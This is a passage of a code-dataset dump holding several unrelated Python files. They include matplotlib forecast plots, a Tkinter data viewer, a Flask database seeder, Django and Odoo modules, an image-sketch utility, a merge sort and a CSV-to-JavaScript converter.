skill')\nplt.grid()\nplt.legend(loc='center left', bbox_to_anchor=(1, 0.5))\nax.xaxis.set_major_locator(MaxNLocator(integer=True))\nplt.tight_layout()\n\nplt.savefig(join(plotdir, f'compare_corr_{start[2:4]}{end[2:4]}.pdf'))\n\n\n\n\n\nax = plt.figure(figsize=(6,3)).gca()\n\nplt.plot(lead_arr_of, ssrmse_UBC_NNET, label='UBC NNET', ls='--')\nplt.plot(lead_arr_of, ssrmse_UCLA_TCD, label='UCLA-TCD', ls='--')\nplt.plot(lead_arr_of, ssrmse_CPC_MRKOV, label='CPC MRKOV', ls='--')\nplt.plot(lead_arr_of, ssrmse_CPC_CA, label='CPC CA', ls='--')\nplt.plot(lead_arr_of, ssrmse_CPC_CCA, label='CPC CCA', ls='--')\n\nplt.plot(lead_arr_of, ssrmse_NASA_GMAO, label='NASA GMAO')\nplt.plot(lead_arr_of, ssrmse_NCEP_CFS, label='NCEP CFS')\nplt.plot(lead_arr_of, ssrmse_JMA, label='JMA')\nplt.plot(lead_arr_of, ssrmse_SCRIPPS, label='SCRIPPS')\nplt.plot(lead_arr_of, ssrmse_ECMWF, label='ECMWF')\nplt.plot(lead_arr_of, ssrmse_KMA_SNU, label='KMA SNU')\n\nplt.plot(lead_arr_DE, ssrmse_DE, c='k', label='UU DE Mean', ls='--', lw=3)\n\nplt.ylim(0., 1.8)\nplt.xlim(0,8)\nplt.xlabel('Lead Time [Months]')\nplt.ylabel('SSRMSE')\nplt.grid()\nplt.legend(loc='center left', bbox_to_anchor=(1, 0.5))\nax.xaxis.set_major_locator(MaxNLocator(integer=True))\nplt.tight_layout()\n\nplt.savefig(join(plotdir, f'compare_ssrmse_{start[2:4]}{end[2:4]}.pdf'))\n","sub_path":"research/Master_Thesis/4.5deep_ensemble_other_forecasts_eval.py","file_name":"4.5deep_ensemble_other_forecasts_eval.py","file_ext":"py","file_size_in_byte":6098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"260118324","text":"# LLNS Copyright Start\n# Copyright (c) 2014, Lawrence Livermore National Security\n# This work was performed under the auspices of the U.S. Department \n# of Energy by Lawrence Livermore National Laboratory in part under \n# Contract W-7405-Eng-48 and in part under Contract DE-AC52-07NA27344.\n# Produced at the Lawrence Livermore National Laboratory.\n# All rights reserved.\n# For details, see the LICENSE file.\n# LLNS Copyright End\n\n#!/usr/bin/python\n# -*- coding: iso-8859-1 -*-\n\nimport matplotlib\nmatplotlib.use('TkAgg')\n\nfrom numpy import arange, sin, pi\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg\n# implement the default mpl key bindings\nfrom matplotlib.backend_bases import key_press_handler\n\n\nfrom matplotlib.figure import Figure\n\nimport sys\nimport platform\n\nif sys.version_info[0] < 3:\n import Tkinter as Tk\n import tkFileDialog as tkf\nelse:\n import tkinter as Tk\n import tkinter.filedialog as tkf\n\nimport glob\nimport os\nimport fileReaders\n\nclass gridDynViewer(Tk.Frame):\n def __init__(self,parent=None,startdir=None):\n if parent is None:\n self.parent=Tk.Tk()\n # self.parent.geometry(\"640x480\")\n else:\n self.parent=parent\n \n self.dirEntry=None;\n self.dirLoc=''\n self.lb_files=None\n self.lb_fields=None\n self.canvas=None\n self.subplot=None\n self.figure=None\n self.runData=None\n self.cnum=-1\n self.initialize()\n if startdir is not None:\n self.changeDir(startdir)\n \n if parent is None:\n Tk.mainloop()\n \n\n def initialize(self):\n mframe=Tk.Frame(self.parent);\n # setting up the directory dialog info\n flabel=Tk.Label(mframe,text=\"dir\");\n flabel.pack(side=Tk.LEFT);\n w = Tk.Entry(mframe,width=50);\n w.pack(side=Tk.LEFT);\n self.dirEntry=w\n button = Tk.Button(mframe, text='...', command=self._getFolder)\n button.pack(side=Tk.RIGHT);\n mframe.pack(side=Tk.TOP)\n #create the file list boxes\n # setup file list box\n midgroup=Tk.Frame(self.parent)\n fgroup=Tk.Frame(midgroup)\n fbframe=Tk.Frame(fgroup);\n flabel2=Tk.Label(fbframe,text=\"files\");\n flabel2.pack(side=Tk.TOP);\n scrollbar=Tk.Scrollbar(fbframe,orient=Tk.VERTICAL);\n lb=Tk.Listbox(fbframe,yscrollcommand=scrollbar.set,width=28, selectmode=Tk.SINGLE)\n scrollbar.config(command=lb.yview)\n lb.pack(side=Tk.LEFT)\n lb.bind('',self.changeFile);\n scrollbar.pack(side=Tk.RIGHT,fill=Tk.Y);\n fbframe.pack(side=Tk.TOP)\n self.lb_files=lb;\n # setup fields list box\n fbframe2=Tk.Frame(fgroup);\n flabel2=Tk.Label(fbframe2,text=\"fields\");\n flabel2.pack(side=Tk.TOP);\n scrollbar2=Tk.Scrollbar(fbframe2,orient=Tk.VERTICAL);\n lb2=Tk.Listbox(fbframe2,yscrollcommand=scrollbar.set,width=28,selectmode=Tk.MULTIPLE)\n scrollbar2.config(command=lb.yview)\n lb2.pack(side=Tk.LEFT)\n scrollbar2.pack(side=Tk.RIGHT,fill=Tk.Y);\n fbframe2.pack(side=Tk.TOP)\n\n fgroup.pack(side=Tk.LEFT)\n self.lb_fields=lb2;\n #make the plot area\n f = Figure(figsize=(5,4), dpi=120)\n a = f.add_subplot(111)\n f.subplots_adjust(bottom=0.15,left=0.15)\n t = arange(0.0,3.0,0.01)\n s = sin(2*pi*t)\n\n a.plot(t,s)\n\n\n # a tk.DrawingArea\n pgroup=Tk.Frame(midgroup)\n canvas = FigureCanvasTkAgg(f, master=pgroup)\n canvas.show()\n canvas.get_tk_widget().pack(side=Tk.TOP, fill=Tk.BOTH, expand=1)\n\n toolbar = NavigationToolbar2TkAgg( canvas, pgroup )\n toolbar.update()\n canvas._tkcanvas.pack(side=Tk.TOP, fill=Tk.BOTH, expand=1)\n\n pgroup.pack(side=Tk.LEFT)\n self.canvas=canvas;\n self.subplot=a;\n self.figure=f\n #setup the button group\n bgroup1=Tk.Frame(self.parent);\n button = Tk.Button(bgroup1, text='Plot', command=self._makeplot)\n button.pack(side=Tk.LEFT);\n mframe.pack(side=Tk.TOP,fill=Tk.Y)\n midgroup.pack(side=Tk.TOP)\n\n button2 = Tk.Button(bgroup1, text='Close', command=self._quit)\n button2.pack(side=Tk.RIGHT);\n bgroup1.pack(side=Tk.TOP,fill=Tk.Y,expand=1)\n\n def changeDir(self, newDir):\n if newDir != self.dirLoc:\n self.dirEntry.delete(0,Tk.END);\n self.dirEntry.insert(0,newDir);\n self.dirLoc=newDir\n self.getFiles();\n \n def getFiles(self):\n self.dirLoc=self.dirEntry.get();\n if platform.system() == 'Windows':\n \tdlist=glob.glob(self.dirLoc+'\\*.dat');\n else:\n \tdlist=glob.glob(self.dirLoc+'/*.dat');\n self.lb_files.delete(0,Tk.END)\n for ff in dlist:\n self.lb_files.insert(Tk.END,os.path.basename(ff));\n\n self.lb_files.activate(0)\n if dlist:\n \tself.loadDatFile(dlist[0])\n self.cnum=0\n\n def loadDatFile(self,fname):\n self.runData=fileReaders.timeSeries2(fname);\n self.lb_fields.delete(0,Tk.END)\n for fn in self.runData.fields:\n self.lb_fields.insert(Tk.END,fn)\n \n def changeFile(self,event):\n listindex=self.lb_files.nearest(event.y);\n if (self.cnum!=listindex):\n fn=self.lb_files.get(listindex);\n self.loadDatFile(self.dirLoc+\"/\"+fn)\n self.cnum=listindex\n \n \n def _getFolder(self):\n filename = tkf.askdirectory() # show an \"Open\" dialog box and return the path to the selected file\n self.changeDir(filename)\n \n def _makeplot(self):\n st=self.lb_fields.curselection()\n self.subplot.cla()\n title=''\n for pp in st:\n self.subplot.plot(self.runData.time,self.runData.data[:,pp])\n \n title=title+' '+str(self.runData.fields[int(pp)])\n #add a title and axis label\n self.subplot.set_title(title)\n\n self.subplot.set_xlabel('time (s)')\n\n self.canvas.show()\n\n def _quit(self):\n self.parent.quit() # stops mainloop\n self.parent.destroy() # this is necessary on Windows to prevent\n # Fatal Python Error: PyEval_RestoreThread: NULL tstate\n\nif __name__ == \"__main__\":\n\tif len(sys.argv)>1:\n\t\tapp=gridDynViewer(startdir=sys.argv[1])\n\telse:\n\t\tapp = gridDynViewer(None)\n","sub_path":"python/gridDynViewer.py","file_name":"gridDynViewer.py","file_ext":"py","file_size_in_byte":6488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"270442850","text":"# -*- coding:utf-8 -*- \n__author__ = 'John 2018/3/5 16:49'\n\n\nclass Solution:\n \"\"\"\n @param: nums: A list of integers.\n @return: A list of permutations.\n \"\"\"\n\n def func(self, nums):\n # write your code here\n result = []\n if nums is None:\n return result\n if len(nums) == 0:\n result.append([])\n for x in nums:\n temp_nums = nums[:]\n temp_nums.remove(x)\n for y in self.func(temp_nums):\n y.insert(0, x)\n result.append(y)\n return result\n\n def permute(self, nums):\n l1 = self.func(nums)\n l2 = []\n for i in l1:\n if i not in l2:\n l2.append(i)\n return l2\n\n\ns = Solution()\nprint(s.permute([2, 2, 1, 1]))\n","sub_path":"lintcode/16.py","file_name":"16.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"260068497","text":"import csv\nimport os\nfrom datetime import datetime, timedelta\n\nfrom .models import (\n ContributionType, Contribution, Tag, Path, Comment, Notification, Level,\n LearningUnit, LearningUnitType, Skill, User, Vote, path_level,\n path_level_skill, db\n)\nfrom .unique_id import PushID\nfrom learning_map_api.main import create_flask_app\n\nenvironment = os.getenv(\"FLASK_CONFIG\")\napp = create_flask_app(environment)\n\nid_generator = PushID()\n\n\n# PATHS SEEDING FUNCTIONS\n\nd1_id = id_generator.next_id()\nd2_id = id_generator.next_id()\nd3_id = id_generator.next_id()\nd4_id = id_generator.next_id()\n\n\ndef read_csv(file_path):\n seed_data = []\n with open(file_path) as csvfile:\n readCSV = csv.reader(csvfile, delimiter=',')\n csv_data = []\n\n for rows in readCSV:\n csv_data.append(rows)\n\n table_names = csv_data[0]\n data = csv_data[1::]\n\n for rows in data:\n dic = {}\n for index, name in enumerate(table_names):\n if index < len(table_names):\n dic[name] = rows[index]\n seed_data.append(dic)\n\n return(seed_data)\n\n\ndef modify_item(key, dic, new_key=None):\n if key in dic.keys():\n if new_key:\n dic[new_key] = dic[key]\n del dic[key]\n\n if \"integer_id\" not in dic.keys():\n dic[\"integer_id\"] = int(dic[\"id\"])\n dic[\"id\"] = id_generator.next_id()\n\n if \"learning_unit_type_id\" in dic.keys():\n dic[\"learning_unit_type_id\"] = int(dic[\"learning_unit_type_id\"])\n\n if \"skill_id\" in dic.keys():\n dic[\"skill_id\"] = int(dic[\"skill_id\"])\n\n return dic\n\n\ndef dump_skill(path_level, data, conn):\n skill = Skill(\n name=data[\"name\"],\n description=data[\"description\"],\n integer_id=data[\"integer_id\"]\n )\n save = skill.save()\n\n if not save:\n skill = Skill.find_first(name=data[\"name\"])\n\n insert_statement = path_level_skill.insert().values(\n path_level_id=path_level.path_level_id,\n skill_id=skill.id\n )\n conn.execute(insert_statement)\n\n\ndef dump_data(model, file_path=None):\n\n if model is 'level':\n seed_data = [\n {\"id\": d1_id, \"name\": \"D1\"},\n {\"id\": d2_id, \"name\": \"D2\"},\n {\"id\": d3_id, \"name\": \"D3\"},\n {\"id\": d4_id, \"name\": \"D4\"}\n ]\n db.session.bulk_insert_mappings(Level, seed_data)\n db.session.commit()\n else:\n seed_data = read_csv(file_path)\n seed_data = [modify_item('created_at', data) for data in seed_data]\n seed_data = [modify_item('updated_at', data) for data in seed_data]\n seed_data = [modify_item('deleted_at', data) for data in seed_data]\n\n if model is 'path':\n levels = Level.query\n paths = Path.query\n\n for data in seed_data:\n level = levels.filter_by(name=data[\"level\"]).first()\n data[\"description\"] = data[\"description\"].replace('D1 ', '')\n\n if data[\"name\"] == \"Developer\":\n path = paths.filter_by(name=\"Developer\").first()\n if not path:\n data[\"integer_id\"] = 1\n path = Path(\n name=data[\"name\"],\n description=data[\"description\"],\n integer_id=data[\"integer_id\"]\n )\n elif data[\"name\"] == \"JS\":\n path = paths.filter_by(name=\"JS\").first()\n if not path:\n data[\"integer_id\"] = 5\n path = Path(\n name=data[\"name\"],\n description=data[\"description\"],\n integer_id=data[\"integer_id\"]\n )\n\n else:\n path = Path(\n name=data[\"name\"],\n description=data[\"description\"],\n integer_id=data[\"integer_id\"]\n )\n path.save()\n level.paths.append(path)\n level.save()\n\n elif model is 'skill':\n path_levels = db.session.query(path_level)\n conn = db.engine.connect()\n\n for data in seed_data:\n for _path_level in path_levels.all():\n if data[\"learningmap_id\"] == \"12\":\n path = Path.find_first(integer_id=1)\n if _path_level.path_id == path.id and \\\n _path_level.level_id == d2_id:\n dump_skill(_path_level, data, conn)\n\n elif data[\"learningmap_id\"] == \"14\":\n path = Path.find_first(integer_id=1)\n if _path_level.path_id == path.id and \\\n _path_level.level_id == d3_id:\n dump_skill(_path_level, data, conn)\n\n elif data[\"learningmap_id\"] == \"15\":\n path = Path.find_first(integer_id=1)\n if _path_level.path_id == path.id and \\\n _path_level.level_id == d4_id:\n dump_skill(_path_level, data, conn)\n\n elif data[\"learningmap_id\"] == \"13\":\n path = Path.find_first(integer_id=5)\n if _path_level.path_id == path.id and \\\n _path_level.level_id == d2_id:\n dump_skill(_path_level, data, conn)\n\n else:\n paths = Path.fetch_all()\n for path in paths:\n if data[\"learningmap_id\"] == str(path.integer_id) and \\\n _path_level.path_id == path.id:\n dump_skill(_path_level, data, conn)\n\n conn.close()\n\n elif model is 'learning_unit_type':\n seed_data = [modify_item('weight', data) for data in seed_data]\n db.session.bulk_insert_mappings(LearningUnitType, seed_data)\n db.session.commit()\n\n elif model is 'learning_unit':\n seed_data = [\n modify_item('okbb_type_id', data, 'learning_unit_type_id')\n for data in seed_data\n ]\n\n modified_seed_data = []\n for data in seed_data:\n learning_unit_type = LearningUnitType.find_first(\n integer_id=data[\"learning_unit_type_id\"])\n skill = Skill.find_first(integer_id=data[\"skill_id\"])\n data[\"learning_unit_type_id\"] = learning_unit_type.id\n data[\"skill_id\"] = skill.id\n modified_seed_data.append(data)\n\n db.session.bulk_insert_mappings(LearningUnit, modified_seed_data)\n db.session.commit()\n\n\n# TEST DATA SEEDING FUNCTION\n\ndef seed_test_data():\n with app.app_context():\n app.config[\"SQLALCHEMY_ECHO\"] = False\n\n developer = Path.find_first(name=\"Developer\")\n d1 = Level.find_first(name=\"D1\")\n if not developer and os.getenv(\"FLASK_CONFIG\") != \"testing\":\n print(\"\\n\\n\\tPlease run the command to seed paths first.\"\n \" Alternatively, run 'seed_all' to seed both paths and\"\n \" test data\\n\\n\")\n return False\n\n # contribution types\n idea_type = ContributionType(name=\"Idea\")\n skill_type = ContributionType(name=\"Skill\")\n resource_type = ContributionType(name=\"Resource\")\n\n # users\n user1 = User(\n id=id_generator.next_id(),\n name=\"test user1\",\n roles=dict(\n Andelan=id_generator.next_id(), Fellow=id_generator.next_id()\n ),\n email=\"test.user1@andela.com\",\n image_url=\"https://i.imgur.com/dTxb2no.jpg\"\n )\n user2 = User(\n id=id_generator.next_id(),\n name=\"test user2\",\n roles=dict(\n Andelan=id_generator.next_id(), Fellow=id_generator.next_id()\n ),\n email=\"test.user2@andela.com\",\n image_url=\"https://i.imgur.com/WNrpZjx.jpg\"\n )\n user3 = User(\n id=id_generator.next_id(),\n name=\"test user3\",\n roles=dict(\n Andelan=id_generator.next_id(), Fellow=id_generator.next_id()\n ),\n email=\"test.user3@andela.com\",\n image_url=\"https://i.imgur.com/0iUVHxW.jpg\"\n )\n admin = User(\n id=id_generator.next_id(),\n name=\"test admin\",\n roles=dict(\n Andelan=id_generator.next_id(), Staff=id_generator.next_id()\n ),\n email=\"test.admin@andela.com\",\n image_url=\"https://i.imgur.com/ZAriknR.png\"\n )\n\n # tags\n tag1 = Tag(\n name=\"Python\"\n )\n\n tag2 = Tag(\n name=\"Testing\"\n )\n\n # user1's resource\n resource1 = Contribution(\n title=\"Python testing\",\n description=\"http://www.python.com\",\n user_id=user1.id,\n status=\"approved\",\n approver_id=admin.id,\n approved_at=datetime.utcnow() + timedelta(days=1),\n path=developer if developer else None,\n level=d1 if developer else None\n )\n resource1.contribution_type = resource_type\n resource1.tags.extend([tag1, tag2])\n resource1.save()\n\n # comments\n comment1 = Comment(owner=user3, message=\"Niiiiice\")\n comment2 = Comment(owner=user2, message=\"Correction: Noiiice!\")\n comment3 = Comment(owner=user3, message=\"Link broken\")\n comment4 = Comment(owner=user2, message=\"Works for me\")\n comment2.parent = comment1\n comment4.parent = comment3\n\n # user1's contributions\n comment3.contribution = resource1\n\n idea1 = Contribution(\n title=\"Assessments\",\n description=\"Add links to skill assessments\",\n user_id=user1.id,\n path=developer if developer else None,\n level=d1 if developer else None\n )\n idea1.contribution_type = idea_type\n idea1.tags.append(tag2)\n\n notification1 = Notification.create(\n 'New contribution created.',\n 'Contribution',\n idea1.id,\n '-Ktest_recipient',\n userId=user1.id,\n userName='User1',\n userImg='user.jpeg'\n )\n\n\n skill1 = Contribution(\n title=\"Setup Flask\",\n description=\"valuable skill to have\",\n user_id=user1.id,\n path=developer if developer else None,\n level=d1 if developer else None\n )\n skill1.contribution_type = skill_type\n comment1.contribution = skill1\n\n # user2's contributions\n resource2 = Contribution(\n title=\"Javascript testing\",\n description=\"http://www.javascript.com\",\n user_id=user2.id,\n path=developer if developer else None,\n level=d1 if developer else None\n )\n resource2.contribution_type = resource_type\n resource2.tags.append(tag2)\n\n idea2 = Contribution(\n title=\"Python Game Development\",\n description=\"For people interested in game development\",\n user_id=user2.id,\n path=developer if developer else None,\n level=d1 if developer else None\n )\n idea2.contribution_type = idea_type\n idea2.tags.append(tag1)\n\n skill2 = Contribution(\n title=\"Public Speaking\",\n description=\"valuable skill to have\",\n user_id=user2.id,\n path=developer if developer else None,\n level=d1 if developer else None\n )\n skill2.contribution_type = skill_type\n\n notification2 = Notification.create(\n 'New contribution created.',\n 'Contribution',\n skill2.id,\n '-Ktest_recipient',\n userId=user2.id,\n userName='User2',\n userImg='user.jpeg')\n\n # user3's contribution\n resource3 = Contribution(\n title=\"SCSS for dummies\",\n description=\"http://www.scss.com\",\n user_id=user3.id,\n path=developer if developer else None,\n level=d1 if developer else None\n )\n resource3.contribution_type = resource_type\n\n vote1 = Vote(\n user_id=user2.id,\n contribution_id=resource1.id\n )\n vote2 = Vote(\n user_id=user3.id,\n contribution_id=resource1.id\n )\n\n # list containing all initial sample data\n test_data = [idea1, skill1, resource2, idea2, skill2, resource3,\n notification1, notification2, vote1, vote2, user1, admin]\n\n db.session.add_all(test_data)\n db.session.commit()\n return True\n\n ","sub_path":"api/initial_db_data.py","file_name":"initial_db_data.py","file_ext":"py","file_size_in_byte":12729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"322979202","text":"from django.conf.urls import include, url\nfrom . import views\n\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^page_(?P[0-9]+)/$', views.index, name='page'),\n url(r'^page_(?P[0-9]+)/image_(?P[0-9]+)/$',\n views.detail, name='detail')\n]\n","sub_path":"photo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"341609342","text":"from django import forms\nfrom geotrek.core.forms import TopologyForm\nfrom geotrek.core.widgets import PointTopologyWidget\n\nfrom .models import Infrastructure, InfrastructureType, Signage\n\n\nclass BaseInfrastructureForm(TopologyForm):\n class Meta(TopologyForm.Meta):\n fields = TopologyForm.Meta.fields + \\\n ['structure',\n 'name', 'description', 'type']\n\n\nclass InfrastructureForm(BaseInfrastructureForm):\n def __init__(self, *args, **kwargs):\n super(InfrastructureForm, self).__init__(*args, **kwargs)\n qs = InfrastructureType.objects.for_infrastructures()\n self.fields['type'] = forms.ModelChoiceField(queryset=qs)\n\n class Meta(BaseInfrastructureForm.Meta):\n model = Infrastructure\n\n\nclass SignageForm(BaseInfrastructureForm):\n def __init__(self, *args, **kwargs):\n super(SignageForm, self).__init__(*args, **kwargs)\n self.fields['topology'].widget = PointTopologyWidget()\n qs = InfrastructureType.objects.for_signages()\n self.fields['type'] = forms.ModelChoiceField(queryset=qs)\n\n class Meta(BaseInfrastructureForm.Meta):\n model = Signage\n","sub_path":"geotrek/infrastructure/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"325682783","text":"\"\"\"\nprogram: draw_image3.py\n\nauthor: jarvis0516\ndate: 2019. 07. 16.\npython: 3.5.3\ncoorperate: www.miraelabs.com\n\npurpose:\n - MyStudio 1레벨중 선택한 이미지 파일에 색연필 칠하기를 위한 초안 그림을 그려줌. \n 화면 없는 기능으로 utility 성임.\n\ndetails:\n - ref: https://www.freecodecamp.org/news/sketchify-turn-any-image-into-a-pencil-sketch-with-10-lines-of-code-cf67fa4f68ce/\n \n\nhistory:\n - 2019.07.16: draw_image.py 프로그램의 class화된 버전으로 컨버전함.\n subprocess.popen 방식은 android os 에서 android_python 실행파일을 호출할수 없었음.\n\"\"\"\n\n\nimport numpy as np\nimport imageio\nimport scipy.ndimage\nimport matplotlib.pyplot as plt\n\n\nclass DrawImage:\n\n def __init__(self, content, output, sigma):\n self.content = content\n self.output = output\n self.sigma = sigma\n\n def dodge(self, front, back):\n result = front*255/(255-back)\n result[result > 255] = 255\n result[back == 255] = 255\n return result.astype('uint8')\n\n def grayscale(self, rgb):\n return np.dot(rgb[..., :3], [0.299, 0.587, 0.114])\n\n def run(self):\n s = imageio.imread(self.content)\n g = self.grayscale(s)\n i = 255 - g\n b = scipy.ndimage.filters.gaussian_filter(i, sigma=self.sigma)\n r = self.dodge(b, g)\n plt.imshow(r, cmap=\"gray\")\n plt.imsave(\"Data/temp_draw.png\", r, cmap='gray', vmin=0, vmax=255)\n","sub_path":"Programs/draw_image3.py","file_name":"draw_image3.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"452657713","text":"# -*- coding: utf-8 -*-\n\nimport base64\nfrom ast import literal_eval\n\nfrom odoo import models, fields, api\nfrom odoo.tools import pickle as cPickle\n\n\nclass pos_data_cache(models.Model):\n _name = 'pos.data.cache'\n\n compute_user_id = fields.Many2one('res.users', 'Cache compute user', required=True)\n config_id = fields.Many2one('pos.config', ondelete='cascade', required=True)\n cache = fields.Binary(attachment=True)\n partner_domain = fields.Text(required=True)\n partner_fields = fields.Text(required=True)\n\n\n @api.model\n def refresh_all_caches(self):\n self.env['pos.data.cache'].search([]).refresh_cache()\n\n @api.one\n def refresh_cache(self):\n partners = self.env['res.partner'].search(self.get_partner_domain())\n prod_ctx = partners.with_context(pricelist=self.config_id.pricelist_id.id, display_default_code=False,\n lang=self.compute_user_id.lang)\n prod_ctx = prod_ctx.sudo(self.compute_user_id.id)\n res = prod_ctx.read(self.get_partner_fields())\n datas = {\n 'cache': base64.encodestring(cPickle.dumps(res)),\n }\n\n self.write(datas)\n\n @api.model\n def get_partner_domain(self):\n return literal_eval(self.partner_domain)\n\n @api.model\n def get_partner_fields(self):\n return literal_eval(self.partner_fields)\n\n @api.model\n def get_cache(self, domain, fields):\n if not self.cache or domain != self.get_partner_domain() or fields != self.get_partner_fields():\n self.partner_domain = str(domain)\n self.partner_fields = str(fields)\n self.refresh_cache()\n\n cache = base64.decodestring(self.cache)\n return cPickle.loads(cache)\n\n\nclass pos_config(models.Model):\n _inherit = 'pos.config'\n\n @api.one\n @api.depends('partner_cache_ids')\n def _get_oldest_partner_cache_time(self):\n pos_partner_cache = self.env['pos.data.cache']\n oldest_cache = pos_partner_cache.search([('config_id', '=', self.id)], order='write_date', limit=1)\n if oldest_cache:\n self.oldest_partner_cache_time = oldest_cache.write_date\n\n # Use a related model to avoid the load of the cache when the pos load his config\n partner_cache_ids = fields.One2many('pos.data.cache', 'config_id')\n oldest_partner_cache_time = fields.Datetime(compute='_get_oldest_partner_cache_time', string='Oldest Partner cache time', readonly=True)\n\n def _get_partner_cache_for_user(self):\n pos_cache = self.env['pos.data.cache']\n cache_for_user = pos_cache.search([('id', 'in', self.partner_cache_ids.ids), ('compute_user_id', '=', self.env.uid)])\n\n if cache_for_user:\n return cache_for_user[0]\n else:\n return None\n\n @api.multi\n def get_partner_from_cache(self, fields, domain):\n cache_for_user = self._get_partner_cache_for_user()\n\n if cache_for_user:\n return cache_for_user.get_cache(domain, fields)\n else:\n pos_cache = self.env['pos.data.cache']\n pos_cache.create({\n 'config_id': self.id,\n 'partner_domain': str(domain),\n 'partner_fields': str(fields),\n 'compute_user_id': self.env.uid\n })\n new_cache = self._get_partner_cache_for_user()\n return new_cache.get_cache(domain, fields)\n\n @api.one\n def delete_partner_cache(self):\n self.partner_cache_ids.unlink()\n\n","sub_path":"pos_data_cache/models/pos.py","file_name":"pos.py","file_ext":"py","file_size_in_byte":3490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"124546331","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jun 27 17:00:25 2017\r\n@author: ge\r\n\"\"\"\r\n\r\n\r\ndef mergeSort(inputoutputSeq, low, up):\r\n if low < up:\r\n mid = (low + up) / 2\r\n mergeSort(inputoutputSeq, low, mid)\r\n mergeSort(inputoutputSeq, mid + 1, up)\r\n merge(inputoutputSeq, low, mid, up)\r\n\r\n\r\ndef merge(inputoutputSeq, low, mid, up):\r\n n1 = mid - low + 1\r\n n2 = up - (mid + 1) + 1\r\n L = []\r\n R = []\r\n for i in range(0, n1):\r\n L.append(inputoutputSeq[low + i])\r\n for j in range(0, n2):\r\n R.append(inputoutputSeq[mid + j + 1])\r\n L.append(float(\"inf\"))\r\n R.append(float(\"inf\"))\r\n i = 0\r\n j = 0\r\n for k in range(low, up + 1):\r\n if L[i] <= R[j]:\r\n inputoutputSeq[k] = L[i]\r\n i += 1\r\n else:\r\n inputoutputSeq[k] = R[j]\r\n j += 1\r\n\r\n\r\nif __name__ == '__main__':\r\n seq = [5, 2, 4, 6, 1, 3, 8, 7]\r\n mergeSort(seq, 0, len(seq)-1)\r\n print(seq)\r\n\r\n\r\n\r\n","sub_path":"python/mergeSort.py","file_name":"mergeSort.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"471820937","text":"#reads in the csv files and outputs the javascript needed to run the snowflake\n#rubic\n#\n# Apache License 2019\n\nimport pandas as pd\nimport json\nimport random\n\n\n#INGESTION\ndef read_tracks(df, category='A', start_col=1, start_row=6):\n track_count = int((len(df.columns) - 1) / 3)\n skip_count = 3\n tracks = []\n\n for i in range(track_count):\n colpos = start_col + (i * skip_count)\n track_name = df.iloc[start_row, colpos]\n track_description = df.iloc[start_row+1, colpos]\n milestones = []\n for mc in range(5):\n mrow_start = start_row + 2\n mpos = mrow_start + (mc * 5)\n msummary = df.iloc[mpos, colpos]\n examples = [df.iloc[mpos + 2 + f, colpos] for f in range(3)]\n signals = [df.iloc[mpos + 2 + f, colpos + 1] for f in range(3)]\n milestones.append({'summary':msummary, 'examples':examples, 'signals':signals})\n tracks.append({'displayName':track_name,\n 'category':category,\n 'description':track_description,\n 'milestones':milestones})\n #break\n return tracks\n\n\n\n#OUTPUT - CONSTANTS\ndef print_tracks_json(tracks):\n track_string = 'export const tracks: Tracks = {\\n'\n counter = 0\n for track in tracks:\n track_string = track_string + '\"' + (track['displayName'].replace(' ', '_').upper() + '\" : ' + json.dumps(track, indent=1))\n counter = counter + 1\n if counter < len(tracks):\n track_string = track_string + '\\n,\\n'\n track_string = track_string + '}\\n'\n return track_string\n\n\ndef print_track_names_json(tracks):\n track_string = 'export type Tracks = {\\n'\n for track in tracks:\n track_string = track_string + '\\'' + track['displayName'].replace(' ', '_').upper() + '\\'' + ': ' + 'Track,\\n'\n track_string = track_string[:-2] + '\\n}'\n return track_string\n\n\ndef print_milestone_names_json(tracks):\n track_string = 'export type MilestoneMap = {\\n'\n for track in tracks:\n track_string = track_string + '\\'' + track['displayName'].replace(' ', '_').upper() + '\\'' + ': ' + 'Milestone,\\n'\n track_string = track_string[:-2] + '\\n}'\n return track_string\n\n\ndef print_track_ids_json(tracks):\n track_string = 'export type TrackId = \\n'\n for track in tracks:\n track_string = track_string + '\\'' + track['displayName'].replace(' ', '_').upper() + '\\'' + ' | '\n track_string = track_string[:-2] + '\\n'\n return track_string\n\n\n#SNOWFLAKEAPP METHODS\ndef print_empty_states_json(tracks):\n track_string = '''const emptyState = (): SnowflakeAppState => {\n return {\n name: \"\",\n title: \"\",\n milestoneByTrack: {\\n'''\n for track in tracks:\n track_string = track_string + '\\t\\'' + track['displayName'].replace(' ', '_').upper() + '\\'' + ': 0,\\n'\n track_string = (track_string[:-2] + '},\\n' + ' focusedTrackId: \"{}\"'.format(tracks[0]['displayName'].replace(' ', '_').upper())\n + '}\\n}\\n')\n return track_string\n\ndef print_default_states_json(tracks):\n random.seed(None)\n track_string = '''const defaultState = (): SnowflakeAppState => {\n return {\n name: \"Cersei Lannister\",\n title: \"Analyst\",\n milestoneByTrack: {\\n'''\n for track in tracks:\n track_string = (track_string + '\\t\\'' + track['displayName'].replace(' ', '_').upper() + '\\'' + ': '\n + str(random.randint(1,5)) + ',\\n' )\n track_string = (track_string[:-2] + '},\\n' + ' focusedTrackId: \"{}\"'.format(tracks[0]['displayName'].replace(' ', '_').upper())\n + '}\\n}\\n')\n return track_string\n\n\n\n#WRITE OUT THE FILES\n\ndf = 